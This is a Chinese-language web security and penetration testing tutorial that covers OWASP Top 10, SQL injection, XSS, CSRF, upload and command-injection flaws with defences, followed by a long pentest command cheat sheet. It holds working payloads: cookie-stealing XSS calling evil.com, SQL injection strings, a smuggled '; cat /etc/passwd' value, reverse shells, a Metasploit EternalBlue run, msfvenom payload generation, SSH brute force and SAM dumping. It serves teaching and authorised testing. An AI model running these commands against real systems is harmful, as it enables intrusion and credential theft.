前置知识: Networking

Web 安全与渗透测试

5 min中级

OWASP Top 10漏洞、SQL注入、XSS、CSRF、文件上传与命令执行漏洞、渗透测试流程、Nmap扫描、Burp Suite漏洞扫描。

学习目标

本文是「网络安全」模块的第 15 篇,难度定位为进阶。重点内容:OWASP Top 10漏洞、SQL注入、XSS、CSRF、文件上传与命令执行漏洞、渗透测试流程、Nmap扫描、Burp Suite漏洞扫描。

主要章节:

    1. OWASP Top 10
    1. SQL 注入
    1. XSS 跨站脚本
    1. CSRF 跨站请求伪造
    1. 文件上传漏洞
    1. 命令执行漏洞
  • ……共 19 个章节

1. OWASP Top 10

1.1 2021 版 OWASP Top 10

排名风险说明
A01权限控制失效越权访问、IDOR、CORS 配置错误
A02加密机制失效弱密码、明文存储、不安全协议
A03注入SQL/NoSQL/OS/LDAP 注入
A04不安全设计缺乏安全架构、威胁建模不足
A05安全配置错误默认配置、目录遍历、错误信息泄露
A06易受攻击和过时的组件使用已知漏洞的第三方库
A07身份识别和认证失败弱密码策略、会话管理缺陷
A08软件和数据完整性失败不安全的 CI/CD、反序列化漏洞
A09安全日志和监控失效日志不足、告警缺失
A10服务器端请求伪造(SSRF)内网探测、云元数据泄露

2. SQL 注入

2.1 注入类型

类型特点检测难度
联合查询UNION SELECT 拼接低
报错注入利用数据库报错信息回显低
布尔盲注通过真/假响应判断中
时间盲注通过响应延迟判断高
堆叠查询多语句执行(;分隔)低
二次注入数据存储后再次使用时触发高

2.2 注入示例与防御

-- 联合查询注入
-- 原始查询: SELECT * FROM users WHERE id = '$id'
-- 注入 payload: ' UNION SELECT 1,username,password FROM users --
SELECT * FROM users WHERE id = '' UNION SELECT 1,username,password FROM users --'

-- 布尔盲注
-- payload: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
-- 逐字符爆破密码

-- 时间盲注
-- payload: ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0) --

防御措施:

#  不安全:字符串拼接
query = f"SELECT * FROM users WHERE id = '{user_id}'"

#  安全:参数化查询
import sqlite3
conn = sqlite3.connect('app.db')
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

#  安全:ORM 框架
# SQLAlchemy
user = session.query(User).filter(User.id == user_id).first()

#  安全:输入验证
import re
if not re.match(r'^\d+$', user_id):
    raise ValueError("Invalid user ID")

3. XSS 跨站脚本

3.1 XSS 类型

类型注入位置持久性危害
反射型 XSSURL 参数否中
存储型 XSS服务器存储是高
DOM 型 XSS客户端 JS 渲染否中

3.2 XSS 攻击示例

<!-- 反射型 XSS -->
<!-- URL: https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->

<!-- 存储型 XSS -->
<!-- 留言板提交: <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)"> -->

<!-- DOM 型 XSS -->
<!-- 页面 JS: document.getElementById('output').innerHTML = location.hash.slice(1) -->
<!-- URL: https://example.com/page#<img src=x onerror=alert(1)> -->

3.3 XSS 防御

# 后端输出编码
from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q', '')
    safe_query = escape(query)  # HTML 实体编码
    return f'<p>搜索结果: {safe_query}</p>'
// 前端防御
// 1. 使用 textContent 代替 innerHTML
element.textContent = userInput;

// 2. DOMPurify 清洗 HTML
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// 3. Content Security Policy
// HTTP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
# Flask CSP 配置
from flask_talisman import Talisman
app = Flask(__name__)
Talisman(app, content_security_policy={
    'default-src': "'self'",
    'script-src': "'self'",
    'style-src': "'self' 'unsafe-inline'"
})

4. CSRF 跨站请求伪造

4.1 攻击原理

1. 用户登录 bank.com,获取会话 Cookie
2. 用户访问恶意网站 evil.com
3. evil.com 页面包含:
   <img src="https://bank.com/transfer?to=hacker&amount=10000">
4. 浏览器自动携带 bank.com 的 Cookie 发送请求
5. bank.com 服务器认为是合法操作

4.2 CSRF 防御

# Flask-WTF CSRF Token
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)

# 模板中
# <form method="POST">
#   <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
#   ...
# </form>
# SameSite Cookie 属性
app.config.update(
    SESSION_COOKIE_SECURE=True,     # 仅 HTTPS
    SESSION_COOKIE_HTTPONLY=True,    # JS 不可读
    SESSION_COOKIE_SAMESITE='Lax'   # 限制跨站发送
)
# 验证 Origin/Referer 头
from flask import request, abort

@app.before_request
def check_origin():
    if request.method in ('POST', 'PUT', 'DELETE'):
        origin = request.headers.get('Origin', '')
        allowed = ['https://www.fandex.local', 'https://fandex.local']
        if origin not in allowed:
            abort(403)

5. 文件上传漏洞

5.1 常见绕过方式

绕过方式方法
后缀名绕过.php5、.phtml、.php.jpg
MIME 类型绕过修改 Content-Type: image/jpeg
大小写绕过.PhP、.pHp
双写绕过.pphphp(过滤 php 后剩余 php)
%00 截断shell.php%00.jpg
.htaccess 上传自定义解析规则

5.2 安全上传实现

import os
import uuid
from pathlib import Path
from flask import request, jsonify

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'pdf'}
MAX_FILE_SIZE = 5 * 1024 * 1024  # 5MB

def allowed_file(filename):
    ext = filename.rsplit('.', 1)[-1].lower()
    return ext in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file'}), 400

    file = request.files['file']

    # 1. 检查文件扩展名
    if not allowed_file(file.filename):
        return jsonify({'error': 'File type not allowed'}), 400

    # 2. 检查文件大小
    file.seek(0, os.SEEK_END)
    size = file.tell()
    file.seek(0)
    if size > MAX_FILE_SIZE:
        return jsonify({'error': 'File too large'}), 400

    # 3. 重命名文件(防止路径穿越)
    ext = file.filename.rsplit('.', 1)[-1].lower()
    safe_name = f"{uuid.uuid4().hex}.{ext}"

    # 4. 保存到 Web 根目录外
    upload_dir = '/data/uploads'
    file.save(os.path.join(upload_dir, safe_name))

    return jsonify({'filename': safe_name}), 200

6. 命令执行漏洞

6.1 命令注入

#  不安全:直接拼接用户输入
import os
def ping_host(host):
    os.system(f"ping -c 3 {host}")  # 危险!
    # 攻击: host = "127.0.0.1; cat /etc/passwd"

#  安全:使用 subprocess + 参数列表
import subprocess
def ping_host_safe(host):
    # 输入验证
    if not re.match(r'^\d{1,3}(\.\d{1,3}){3}$', host):
        raise ValueError("Invalid IP address")
    result = subprocess.run(
        ['ping', '-c', '3', host],
        capture_output=True, text=True, timeout=10
    )
    return result.stdout

7. 渗透测试流程

7.1 标准流程

1. 前期交互 → 确定范围、规则、目标
2. 信息收集 → 被动/主动侦察
3. 威胁建模 → 识别攻击面和攻击路径
4. 漏洞分析 → 扫描、验证、分类
5. 渗透攻击 → 利用漏洞获取访问权限
6. 后渗透   → 权限提升、横向移动、数据获取
7. 报告撰写 → 发现、风险评级、修复建议

7.2 信息收集

# 被动信息收集
whois example.com                     # 域名注册信息
dig example.com ANY                   # DNS 记录
theHarvester -d example.com -b all    # 邮箱/子域名收集

# 主动信息收集
nmap -sn 192.168.1.0/24              # 主机发现
nmap -sV -sC -p- 192.168.1.1        # 全端口服务识别
nmap -O 192.168.1.1                  # 操作系统识别
nmap --script vuln 192.168.1.1       # 漏洞扫描脚本

8. Nmap 端口扫描

8.1 扫描类型

参数扫描类型特点隐蔽性
-sSSYN 半开扫描不完成三次握手,速度快高
-sTTCP 全连接扫描完成三次握手低
-sUUDP 扫描扫描 UDP 端口中
-sAACK 扫描检测防火墙规则高
-sFFIN 扫描FIN 包探测高

8.2 常用命令

# 快速扫描常用端口
nmap -F 192.168.1.0/24

# 全端口扫描 + 服务版本 + 默认脚本
nmap -sV -sC -p- -T4 192.168.1.1

# 指定端口扫描
nmap -p 22,80,443,3306,8080 192.168.1.1

# 操作系统检测
nmap -O --osscan-guess 192.168.1.1

# 漏洞扫描
nmap --script=vulscan/vulscan.nse 192.168.1.1

# 绕过防火墙
nmap -f -D RND:10 --data-length 32 192.168.1.1

# 输出结果
nmap -sV -oX scan_results.xml 192.168.1.0/24

9. Burp Suite 漏洞扫描

9.1 核心模块

模块功能
Proxy拦截和修改 HTTP 请求/响应
Scanner自动化漏洞扫描
Intruder自定义攻击载荷暴力破解
Repeater手动重放和修改请求
Decoder编码/解码工具
Comparer请求/响应对比

9.2 常用工作流

1. 配置浏览器代理 → 127.0.0.1:8080
2. 开启 Intercept → 捕获请求
3. 发送到 Repeater → 手动测试参数
4. 发送到 Intruder → 标记攻击点,设置 Payload
5. 运行 Scanner → 自动扫描漏洞
6. 分析结果 → 验证漏洞、编写报告

9.3 Intruder 暴力破解示例

攻击类型: Sniper(单参数)/ Pitchfork(多参数并行)/ Cluster Bomb(多参数组合)

目标请求:
POST /login HTTP/1.1
username=§admin§&password=§password§

Payload 设置:
- username: 常用用户名字典
- password: 常用密码字典

Grep-Match:
- 匹配 "Login successful" → 成功
- 匹配 "Invalid credentials" → 失败

信息收集

基本写法:DNS 枚举 dig any <域名>

# 查询域名所有 DNS 记录
dig any example.com

基本写法:子域名枚举 subfinder -d <域名>

# 使用 subfinder 枚举子域名
subfinder -d example.com -o subdomains.txt

基本写法:DNS 区域传送测试 dig axfr @<DNS服务器> <域名>

# 测试 DNS 区域传送是否允许
dig axfr @ns1.example.com example.com

基本写法:Whois 查询 whois <域名>

# 查询域名注册信息
whois example.com

基本写法:搜索引擎语法 site:<域名> intitle:"index of"

# 使用 Google Hacking 查找敏感信息
site:example.com intitle:"index of" -inurl:(html|php)

端口扫描

基本写法:nmap 基础扫描 nmap -sV <目标>

# 扫描目标开放端口与服务版本
nmap -sV 192.168.1.10

基本写法:快速端口扫描 nmap -T4 -F <目标>

# 快速扫描常用端口
nmap -T4 -F 192.168.1.10

基本写法:全端口扫描 nmap -p- -T4 <目标>

# 扫描所有 65535 个端口
nmap -p- -T4 192.168.1.10

基本写法:UDP 端口扫描 nmap -sU --top-ports <数量> <目标>

# 扫描常用 UDP 端口
sudo nmap -sU --top-ports 100 192.168.1.10

基本写法:操作系统识别 nmap -O <目标>

# 识别目标操作系统
sudo nmap -O 192.168.1.10

基本写法:漏洞脚本扫描 nmap --script vuln <目标>

# 使用 nmap 漏洞脚本扫描
nmap --script vuln 192.168.1.10

服务枚举

基本写法:SMB 枚举 enum4linux <目标>

# 枚举 SMB 共享与用户信息
enum4linux -a 192.168.1.10

基本写法:NFS 枚举 showmount -e <目标>

# 查看 NFS 导出的目录
showmount -e 192.168.1.10

基本写法:SSH 枚举 nmap --script ssh-* -p 22 <目标>

# 使用 nmap SSH 脚本枚举
nmap --script ssh-* -p 22 192.168.1.10

基本写法:SNMP 枚举 snmpwalk -c public -v1 <目标>

# 枚举 SNMP 信息
snmpwalk -c public -v1 192.168.1.10

基本写法:LDAP 枚举 ldapsearch -x -H ldap://<目标> -b <基准DN>

# 枚举 LDAP 目录信息
ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=com"

Web 应用测试

基本写法:目录爆破 gobuster dir -u <URL> -w <字典>

# 使用 gobuster 爆破 Web 目录
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt

基本写法:子域名爆破 gobuster dns -d <域名> -w <字典>

# 爆破子域名
gobuster dns -d example.com -w subdomains.txt

基本写法:Nikto 漏洞扫描 nikto -h <URL>

# 使用 Nikto 扫描 Web 漏洞
nikto -h https://example.com

基本写法:SQL 注入测试 sqlmap -u <URL> --dbs

# 使用 sqlmap 测试 SQL 注入
sqlmap -u "https://example.com/page?id=1" --dbs

基本写法:XSS 检测 dalfox url <URL>

# 使用 dalfox 检测 XSS 漏洞
dalfox url "https://example.com/search?q=test"

基本写法:WordPress 扫描 wpscan --url <URL>

# 扫描 WordPress 站点
wpscan --url https://example.com --enumerate u

漏洞利用

基本写法:搜索漏洞 searchsploit <关键字>

# 在 exploitdb 中搜索漏洞利用
searchsploit apache 2.4

基本写法:查看漏洞详情 searchsploit -x <漏洞ID>

# 查看漏洞利用代码详情
searchsploit -x 12345

基本写法:复制漏洞利用代码 searchsploit -m <漏洞ID>

# 复制漏洞利用代码到当前目录
searchsploit -m 12345

基本写法:使用 Metasploit msfconsole -q -x "use <模块>; set RHOSTS <目标>; run"

# 使用 Metasploit 利用漏洞
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.10; run"

基本写法:生成 Payload msfvenom -p <payload> LHOST=<IP> LPORT=<端口> -f <格式> -o <文件>

# 生成反向连接 Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe

密码破解

基本写法:使用 hashcat 破解 hashcat -m <类型> <哈希> <字典>

# 使用 hashcat 破解 MD5 哈希(类型 0)
hashcat -m 0 hash.txt rockyou.txt

基本写法:使用 john 破解 john --wordlist=<字典> <哈希文件>

# 使用 John the Ripper 破解密码
john --wordlist=rockyou.txt hashes.txt

基本写法:破解 zip 密码 john --wordlist=<字典> <zip2john输出>

# 破解 ZIP 文件密码
zip2john protected.zip > zip.hash
john --wordlist=rockyou.txt zip.hash

基本写法:在线哈希查询 curl "https://hashtoolkit.com/reverse-hash?hash=<哈希>"

# 在线查询哈希明文
curl "https://hashtoolkit.com/reverse-hash?hash=098f6bcd4621d373cade4e832627b4f6"

基本写法:SSH 密码爆破 hydra -l <用户> -P <字典> ssh://<目标>

# 使用 hydra 爆破 SSH
hydra -l root -P passwords.txt ssh://192.168.1.10

后渗透操作

基本写法:建立反弹 shell bash -i >& /dev/tcp/<攻击IP>/<端口> 0>&1

# 通过 bash 反弹 shell 到攻击机
bash -i >& /dev/tcp/192.168.1.5/4444 0>&1

基本写法:Python 反弹 shell python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",<端口>));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh"])'

# Python 反弹 shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh"])'

基本写法:升级交互式 shell python3 -c 'import pty;pty.spawn("/bin/bash")'

# 升级为交互式 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

基本写法:端口转发 ssh -L <本地端口>:<目标>:<目标端口> <用户>@<跳板>

# SSH 本地端口转发
ssh -L 8080:192.168.2.10:80 user@192.168.1.10

基本写法:动态端口转发 ssh -D <本地端口> <用户>@<跳板>

# SSH 动态端口转发建立 SOCKS 代理
ssh -D 1080 user@192.168.1.10

权限提升

基本写法:查找 SUID 文件 find / -perm -4000 -type f 2>/dev/null

# 查找 SUID 权限文件用于提权
find / -perm -4000 -type f 2>/dev/null

基本写法:查看 sudo 权限 sudo -l

# 查看当前用户 sudo 权限
sudo -l

基本写法:使用 LinPEAS 枚举 ./linpeas.sh

# 运行 LinPEAS 自动枚举提权路径
./linpeas.sh | grep -i "suid\|sudo\|writable"

基本写法:查看内核版本 uname -r

# 查看内核版本查找内核漏洞
uname -r

基本写法:查看计划任务 cat /etc/crontab

# 查看系统计划任务寻找提权点
cat /etc/crontab

内网渗透

基本写法:内网存活主机探测 nmap -sn <网段>

# Ping 扫描探测存活主机
nmap -sn 192.168.1.0/24

基本写法:使用 Proxychains proxychains <命令>

# 通过 SOCKS 代理执行命令
proxychains nmap -sT -Pn 192.168.2.0/24

基本写法:搭建 SOCKS 代理 ssh -D <端口> <用户>@<跳板> -fN

# 使用 SSH 建立后台 SOCKS 代理
ssh -D 1080 user@192.168.1.10 -fN

基本写法:内网端口扫描 nmap -sT -Pn -n --top-ports 100 <网段>

# 通过代理扫描内网常用端口
proxychains nmap -sT -Pn -n --top-ports 100 192.168.2.0/24

基本写法:Windows 凭据收集 secretsdump.py -local <文件>

# 使用 impacket 导出 SAM 哈希
secretsdump.py -sam SAM -system SYSTEM LOCAL

报告生成

基本写法:生成扫描报告 nmap -sV <目标> -oX <输出文件>

# 输出 XML 格式扫描报告
nmap -sV 192.168.1.10 -oX scan_report.xml

基本写法:转换为 HTML 报告 xsltproc <XML文件> -o <HTML文件>

# 将 nmap XML 报告转为 HTML
xsltproc scan_report.xml -o report.html

基本写法:整合多种扫描结果 python3 -c "import xml.etree.ElementTree as ET; ..."

# 解析多个工具的扫描结果整合报告
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('scan_report.xml')
for host in tree.findall('host'):
    print(host.find('address').get('addr'))
"

基本写法:生成渗透测试报告 pandoc <输入> -o <输出>

# 使用 pandoc 生成 PDF 报告
pandoc report.md -o pentest_report.pdf --pdf-engine=xelatex

基本写法:导出漏洞清单 grep -E "CVE|OSVDB" <报告> > <漏洞清单>

# 提取所有漏洞编号
grep -E "CVE-[0-9]+-[0-9]+|OSVDB" scan_report.txt > vulnerabilities.txt